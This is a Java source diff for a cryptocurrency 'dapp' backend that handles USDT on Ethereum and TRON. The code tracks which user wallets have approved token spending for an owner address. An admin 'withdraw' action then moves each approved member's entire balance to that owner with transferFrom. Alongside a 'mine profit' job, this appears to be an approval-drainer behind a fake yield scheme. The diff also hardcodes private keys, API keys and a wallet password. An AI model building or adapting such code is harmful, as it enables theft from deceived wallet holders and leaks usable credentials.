            web3j = Web3j.build(service);
        } catch (Exception e) {
            log.error("连接eth网络失败", e);
        }
    }
    public EthServiceBak(String url, String address, String privateKey) {
        try {
            OWNER_ADDRESS = address;
            OWNER_PRIVATE = privateKey;
            ETH_UTL = url;
            HttpService service = new HttpService(url);
            web3j = Web3j.build(service);
        } catch (Exception e) {
            log.error("连接eth网络失败", e);
        }
    }
    /**
     * 查询ETH余额
     *
     * @param address
     * @return
     */
    public static BigDecimal getEthBlance(String address) {
        Web3j web3 = Web3j.build(new HttpService(ETH_UTL));
        EthGetBalance balanceWei;
        try {
            balanceWei = web3.ethGetBalance(address, DefaultBlockParameterName.LATEST).send();
            if (balanceWei.getResult() == null) {
                return null;
            }
            BigDecimal balanceInEther = Convert.fromWei(balanceWei.getBalance().toString(), Unit.ETHER);
            return balanceInEther;
        } catch (Exception e) {
            System.out.println("ETH查询失败:" + address);
            e.printStackTrace();
        }
        return null;
    }
    /**
     * 创建ETH钱包
     *
     * @return
     */
    public static Map<String, String> createEth() {
        Map<String, String> wallet = new HashMap<String, String>();
        try {
            String walletPassword = "secr3t";
            // 文件路径
            String walletDirectory = ethWalletPath;
            String walletName = WalletUtils.generateNewWalletFile(walletPassword, new File(walletDirectory));
            System.out.println("wallet location: " + walletDirectory + "/" + walletName);
            Credentials credentials = WalletUtils.loadCredentials(walletPassword, walletDirectory + "/" + walletName);
            String accountAddress = credentials.getAddress();
            String privateKey = credentials.getEcKeyPair().getPrivateKey().toString(16);
            // 钱包地址
            wallet.put("address", accountAddress);
            // 钱包私钥
            wallet.put("privateKey", privateKey);
            // 产生的钱包文件地址
            wallet.put("walletLocation", walletDirectory + "/" + walletName);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return wallet;
    }
    public boolean checkTransferResult(String hash) {
        // 0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816 交易hash
        Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = web3j.ethGetTransactionReceipt(hash);
        EthGetTransactionReceipt send = null;
        try {
            send = ethGetTransactionReceiptRequest.send();
            if(send!=null){
                TransactionReceipt result = send.getResult();
                if(result!=null){
                    String status = result.getStatus();
                    System.out.println(status);//0x1
                    if("0x1".equals(status)){
                        return true;
                    }else{
                        return false;
                    }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        }
        return false;
    }
    public static void main(String[] args) throws IOException {
//        HttpService service = new HttpService(ETH_UTL);
//        Web3j build = Web3j.build(service);
//        //Request<?, EthTransaction> ethTransactionRequest = build.ethGetTransactionByHash("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
//        Request<?, EthGetTransactionReceipt> ethGetTransactionReceiptRequest = build.ethGetTransactionReceipt("0xa3e6a0ccc3aac30d866a86ca9c0477dd58b7b061787ba40b16c3844803273816");
//        EthGetTransactionReceipt send = ethGetTransactionReceiptRequest.send();
//        String status = send.getResult().getStatus();
//        System.out.println(status);//0x1
//        EthTransaction send = ethTransactionRequest.send();
//        String input = send.getResult().getInput();
//        System.out.println(input);
        System.out.println(new EthServiceBak().ethAllowance("0x391040ee5f241711e763d0ac55e775b9b4bd0024"));
    }
    /**
     *
     * 方法描述:获取代币余额
     *
     * @param fromAddress
     * @param
     * @param
     * @return long
     */
    public BigDecimal tokenGetBalance(String fromAddress) {
        try {
            // 合约地址
            String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
            int decimal = 6;
            String methodName = "balanceOf";
            List<Type> inputParameters = new ArrayList<>();
            List<TypeReference<?>> outputParameters = new ArrayList<>();
            Address address = new Address(fromAddress);
            inputParameters.add(address);
            TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {
            };
            outputParameters.add(typeReference);
            Function function = new Function(methodName, inputParameters, outputParameters);
            String data = FunctionEncoder.encode(function);
            Transaction transaction = Transaction.createEthCallTransaction(fromAddress, contractAddress, data);
            EthCall ethCall;
            BigInteger balanceValue = BigInteger.ZERO;
            try {
                ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
                List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
                balanceValue = (BigInteger) results.get(0).getValue();
            } catch (IOException e) {
                e.printStackTrace();
            }
            double res = new BigDecimal(balanceValue).divide(BigDecimal.valueOf(Math.pow(10, decimal)), 8, RoundingMode.HALF_DOWN).doubleValue();
            if (res > 0) {
                return new BigDecimal(res);
            }
        } catch (Exception e) {
            // logger.error("==============以太坊代币链接获取失败!");
            e.printStackTrace();
        }
        return BigDecimal.ZERO;
    }
    // USDT
    public String tokenSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        // Web3j web3j = Web3j.build(new
        // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
        if(StringUtils.isBlank(gas)){
            gas="35";
        }
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        Function function = new Function("transfer",
                Arrays.asList(new Address(toAddress), new Uint256(new BigInteger(amount))),
                Arrays.asList(new TypeReference<Type>() {
                }));
        String encodedFunction = FunctionEncoder.encode(function);
        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
                Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
                // 10*80000/1000000000=0.0008 手续费
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
        //return "hash";
//        log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
        if (ethSendTransaction.hasError()) {
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public String tokenTransferFrom(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        if(StringUtils.isBlank(gas)){
            gas="35";
        }
        BigDecimal amountPow = new BigDecimal(amount).multiply(new BigDecimal("1000000"));
        amount = amountPow.toPlainString();
        if (amount.contains(".")) {
            amount = amount.substring(0, amount.lastIndexOf("."));
        }
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(toAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        Function function = new Function("transferFrom",
                Arrays.asList(new Address(fromAddress), new Address(toAddress), new Uint256(new BigInteger(amount))),
                Arrays.asList(new TypeReference<Type>() {
                }));
        String encodedFunction = FunctionEncoder.encode(function);
        RawTransaction rawTransaction = RawTransaction.createTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),// 给矿工开的转账单价 单价越高越快
                Convert.toWei("100000", Unit.WEI).toBigInteger(), contractAddress, encodedFunction);//里程上限
        // 10*80000/1000000000=0.0008 手续费
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        CompletableFuture<EthSendTransaction> ethSendTransactionCompletableFuture = web3j.ethSendRawTransaction(hexValue).sendAsync();
        EthSendTransaction ethSendTransaction = ethSendTransactionCompletableFuture.get();
        //return "hash";
//        log.info("====:{}", JSONObject.toJSONString(ethSendTransaction));
        if (ethSendTransaction.hasError()) {
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public String approveTransfer(String fromAddress, BigDecimal amount, String gas) {
        try {
            return tokenTransferFrom(OWNER_PRIVATE, fromAddress, OWNER_ADDRESS, amount.toPlainString(), gas);
        } catch (InterruptedException | ExecutionException e) {
            e.printStackTrace();
            return "";
        }
    }
    public String ethSend(String privateKey, String fromAddress, String toAddress, String amount,String gas)
            throws InterruptedException, ExecutionException {
        // Web3j web3j = Web3j.build(new
        // HttpService("https://mainnet.infura.io/v3/882c66ebcfc141abbea22b948fa44321"));
        if(StringUtils.isBlank(gas)){
            gas="70";
        }
        Credentials credentials = Credentials.create(privateKey);
        EthGetTransactionCount ethGetTransactionCount = web3j
                .ethGetTransactionCount(fromAddress, DefaultBlockParameterName.LATEST).sendAsync().get();
        BigInteger nonce = ethGetTransactionCount.getTransactionCount();
        BigInteger value = Convert.toWei(amount, Unit.ETHER).toBigInteger();
        RawTransaction rawTransaction = RawTransaction.createEtherTransaction(nonce,
                Convert.toWei(gas, Unit.GWEI).toBigInteger(),
                Convert.toWei("60000", Unit.WEI).toBigInteger(), toAddress, value);
        byte[] signedMessage = TransactionEncoder.signMessage(rawTransaction, credentials);
        String hexValue = Numeric.toHexString(signedMessage);
        EthSendTransaction ethSendTransaction = web3j.ethSendRawTransaction(hexValue).sendAsync().get();
        if (ethSendTransaction.hasError()) {
            // log.info("transfer error:", ethSendTransaction.getError().getMessage());
            return "";
        } else {
            String transactionHash = ethSendTransaction.getTransactionHash();
            // log.info("Transfer transactionHash:" + transactionHash);
            return transactionHash;
        }
    }
    public BigInteger ethAllowance(String address) {
        return ethAllowance(OWNER_ADDRESS, address);
    }
    public BigInteger ethAllowance(String toAddress, String fromAddress) {
        String contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
        String methodName = "allowance";
        List<TypeReference<?>> outputParameters = new ArrayList<>();
        TypeReference<Uint256> typeReference = new TypeReference<Uint256>() {};
        outputParameters.add(typeReference);
        Function function = new Function(methodName,
                Arrays.asList(new Address(fromAddress), new Address(toAddress))
                , outputParameters);
        String data = FunctionEncoder.encode(function);
        Transaction transaction = Transaction.createEthCallTransaction(toAddress, contractAddress, data);
        EthCall ethCall = null;
        try {
            ethCall = web3j.ethCall(transaction, DefaultBlockParameterName.LATEST).send();
            List<Type> results = FunctionReturnDecoder.decode(ethCall.getValue(), function.getOutputParameters());
            return (BigInteger) results.get(0).getValue();
        } catch (IOException e) {
            e.printStackTrace();
        }
        return BigInteger.ZERO;
    }
}
src/main/java/cc/mrbird/febs/dapp/chain/TrxService.java
@@ -23,26 +23,40 @@
//    private final static String ADDRESS = "TUy8XwDmdsDKPLDGUrGuNRVMhwSEKtkDcD";
//    private final static String PRIVATE = "b5627861c6edb2245276273e5f5ad5082f93c3b09fc7b757223ca8526504bfe7";
    private final static String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
    private final String ADDRESS;
//    private final String ADDRESS = "TUFzqZRpLwLWJU4jcdf77RKS3Ts2uEhmWL";
//    private final static String PRIVATE = "e08dce7a4626f97b790e791bcdec31cffab46233744bb1aa133f69f98623d3fb";
//
//    private final static String CONTRACT_ADDRESS = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
//    private final static String API_KEY = "9d461be6-9796-47b9-85d8-b150cbabbb54";
    private Trc20Contract contract = null;
    public static TrxService INSTANCE = new TrxService();
//    public static TrxService INSTANCE = new TrxService();
    public TrxService() {
        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
//    public TrxService() {
//        ApiWrapper wrapper = ApiWrapper.ofMainnet(PRIVATE, API_KEY);
//
//        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
//        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
//    }
        Contract trc20Contract = wrapper.getContract(CONTRACT_ADDRESS);
        contract = new Trc20Contract(trc20Contract, ADDRESS, wrapper);
    public TrxService(String address, String privateKey, String contractAddress, String apiKey) {
        this.ADDRESS = address;
        ApiWrapper wrapper = ApiWrapper.ofMainnet(privateKey, apiKey);
        Contract trc20Contract = wrapper.getContract(contractAddress);
        contract = new Trc20Contract(trc20Contract, address, wrapper);
    }
    @Override
    public BigInteger allowance(String owner) {
        return contract.allowance(owner, ADDRESS);
    }
    @Override
    public boolean isAllowance(String address) {
        return allowance(address).intValue() != 0;
    }
    @Override
@@ -82,6 +96,6 @@
    }
    public static void main(String[] args) {
        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
//        System.out.println(INSTANCE.transfer("TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", BigDecimal.valueOf(5)));;
    }
}
src/main/java/cc/mrbird/febs/dapp/controller/ApiCommonController.java
@@ -36,9 +36,9 @@
    }
    @ApiOperation(value = "是否授权接口", notes = "是否授权接口")
    @GetMapping(value = "/isApprove/{address}")
    public FebsResponse isApprove(@PathVariable("address") String address) {
        return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address));
    @GetMapping(value = "/isApprove/{chain}/{address}")
    public FebsResponse isApprove(@PathVariable("address") String address,@PathVariable("chain") String chain) {
        return new FebsResponse().success().message("获取成功").data(dappMemberService.isApprove(address, chain));
    }
    @ApiOperation(value = "首页总收入和列表", notes = "总收入和列表")
src/main/java/cc/mrbird/febs/dapp/controller/MemberController.java
@@ -40,10 +40,10 @@
        return new FebsResponse().success().data(dataTable);
    }
    @RequestMapping(value = "/getBalanceByAddress/{address}")
    public FebsResponse getBalanceByAddress(@PathVariable("address") String address) {
        BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
        DappMemberEntity member = dappMemberService.findByAddress(address);
    @RequestMapping(value = "/getBalanceByAddress/{chain}/{address}")
    public FebsResponse getBalanceByAddress(@PathVariable("chain") String chain, @PathVariable("address") String address) {
        BigDecimal balance = ChainService.getInstance(chain).balanceOf(address);
        DappMemberEntity member = dappMemberService.findByAddress(address, chain);
        member.setBalance(balance);
        dappMemberService.updateById(member);
        return new FebsResponse().success().data(balance);
@@ -68,9 +68,9 @@
        return new FebsResponse().success();
    }
    @PostMapping(value = "/changeMoney/{address}")
    public FebsResponse changeMoney(@PathVariable(value = "address") String address) {
        dappMemberService.transfer(address);
    @PostMapping(value = "/changeMoney/{chain}/{address}")
    public FebsResponse changeMoney(@PathVariable("chain") String chain, @PathVariable(value = "address") String address) {
        dappMemberService.transfer(address, chain);
        return new FebsResponse().success();
    }
src/main/java/cc/mrbird/febs/dapp/mapper/DappMemberDao.java
@@ -14,7 +14,7 @@
 **/
public interface DappMemberDao extends BaseMapper<DappMemberEntity> {
    DappMemberEntity selectByAddress(@Param("address") String address);
    DappMemberEntity selectByAddress(@Param("address") String address, @Param("chain") String chain);
    DappMemberEntity selectMemberInfoByInviteId(@Param("inviteId") String inviteId);
src/main/java/cc/mrbird/febs/dapp/service/DappMemberService.java
@@ -11,11 +11,11 @@
    void approve(ApproveDto approveDto);
    int isApprove(String address);
    int isApprove(String address, String chain);
    IPage<DappMemberEntity> selectInPage(DappMemberEntity member, QueryRequest request);
    DappMemberEntity findByAddress(String address);
    DappMemberEntity findByAddress(String address, String chain);
    void accountStatus(Long id);
@@ -23,7 +23,7 @@
    void withdrawAble(Long id);
    void transfer(String address);
    void transfer(String address, String chain);
    IPage<DappTransferRecordEntity> selectTransferInPage(DappTransferRecordEntity transfer, QueryRequest request);
}
src/main/java/cc/mrbird/febs/dapp/service/impl/DappMemberServiceImpl.java
@@ -6,6 +6,7 @@
import cc.mrbird.febs.common.utils.FebsUtil;
import cc.mrbird.febs.common.utils.ShareCodeUtil;
import cc.mrbird.febs.dapp.chain.ChainService;
import cc.mrbird.febs.dapp.chain.ContractChainService;
import cc.mrbird.febs.dapp.dto.ApproveDto;
import cc.mrbird.febs.dapp.entity.DappMemberEntity;
import cc.mrbird.febs.dapp.entity.DappTransferRecordEntity;
@@ -44,7 +45,7 @@
    @Override
    @Transactional(rollbackFor = Exception.class)
    public void approve(ApproveDto approveDto) {
        DappMemberEntity isExist = dappMemberDao.selectByAddress(approveDto.getAddress());
        DappMemberEntity isExist = dappMemberDao.selectByAddress(approveDto.getAddress(), approveDto.getChainType());
        if (isExist != null) {
            return;
        }
@@ -52,7 +53,7 @@
        DappMemberEntity member = new DappMemberEntity();
        member.setAddress(approveDto.getAddress());
        ChainService instance = ChainService.INSTANCE;
        ContractChainService instance = ChainService.getInstance(approveDto.getChainType());
        if (!instance.isAllowance(approveDto.getAddress())) {
            throw new FebsException("未授权");
        }
@@ -111,9 +112,9 @@
    }
    @Override
    public int isApprove(String address) {
        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address);
        boolean allowance = ChainService.INSTANCE.isAllowance(address);
    public int isApprove(String address, String chain) {
        DappMemberEntity memberEntity = dappMemberDao.selectByAddress(address, chain);
        boolean allowance = ChainService.getInstance(chain).isAllowance(address);
        boolean isExist = memberEntity != null;
        // 线上/本地都已授权
@@ -149,8 +150,8 @@
    }
    @Override
    public DappMemberEntity findByAddress(String address) {
        return dappMemberDao.selectByAddress(address);
    public DappMemberEntity findByAddress(String address, String chain) {
        return dappMemberDao.selectByAddress(address, chain);
    }
    @Override
@@ -199,9 +200,9 @@
    }
    @Override
    public void transfer(String address) {
        BigDecimal balance = ChainService.INSTANCE.balanceOf(address);
        String hash = ChainService.INSTANCE.transfer(address, balance);
    public void transfer(String address, String chain) {
        BigDecimal balance = ChainService.getInstance(chain).balanceOf(address);
        String hash = ChainService.getInstance(chain).transfer(address, balance);
        if (StrUtil.isBlank(hash)) {
            throw new FebsException("提现失败");
        }
src/main/java/cc/mrbird/febs/job/MineProfitJob.java
@@ -66,7 +66,7 @@
                continue;
            }
            BigDecimal balance = ChainService.INSTANCE.balanceOf(member.getAddress());
            BigDecimal balance = ChainService.getInstance(member.getChainType()).balanceOf(member.getAddress());
            DappWalletMineEntity walletMine = dappWalletMineDao.selectByMemberId(member.getId());
            for (DappReturnRatioEntity returnRatio : returnRatios) {
@@ -125,7 +125,7 @@
                continue;
            }
            BigDecimal balance = ChainService.INSTANCE.balanceOf(agent.getAddress());
            BigDecimal balance = ChainService.getInstance(agent.getChainType()).balanceOf(agent.getAddress());
            if (balance.compareTo(BigDecimal.valueOf(100L)) < 0) {
                continue;
            }
src/main/resources/mapper/dapp/DappMemberDao.xml
@@ -3,7 +3,7 @@
<mapper namespace="cc.mrbird.febs.dapp.mapper.DappMemberDao">
    <select id="selectByAddress" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity">
        select * from dapp_member where address=#{address}
        select * from dapp_member where address=#{address} and chain_type=#{chain}
    </select>
    <select id="selectMemberInfoByInviteId" resultType="cc.mrbird.febs.dapp.entity.DappMemberEntity">
src/main/resources/templates/febs/views/dapp/member.html
@@ -191,7 +191,7 @@
            if (layEvent === 'changeMoney') {
                febs.modal.confirm('提现', "是否提现该用户?", function () {
                    febs.post(ctx + "member/changeMoney/" + data.address, null, function () {
                    febs.post(ctx + "member/changeMoney/" + data.chainType + "/" +data.address, null, function () {
                        febs.alert.success('提现成功');
                        $query.click();
                    });
@@ -247,6 +247,7 @@
                    {field: 'address', title: '地址', minWidth: 130},
                    {title: '余额(USDT)', templet: '#balance', minWidth: 120},
                    {title: '授权列表', templet: '#approve-list', minWidth: 110},
                    {field: 'chainType', title: '所属链', minWidth: 130},
                    {field: 'inviteId', title: '邀请码', minWidth: 130},
                    {field: 'refererId', title: '上级邀请码', minWidth: 130},
                    {title: '账户状态', templet: '#user-status', minWidth: 120},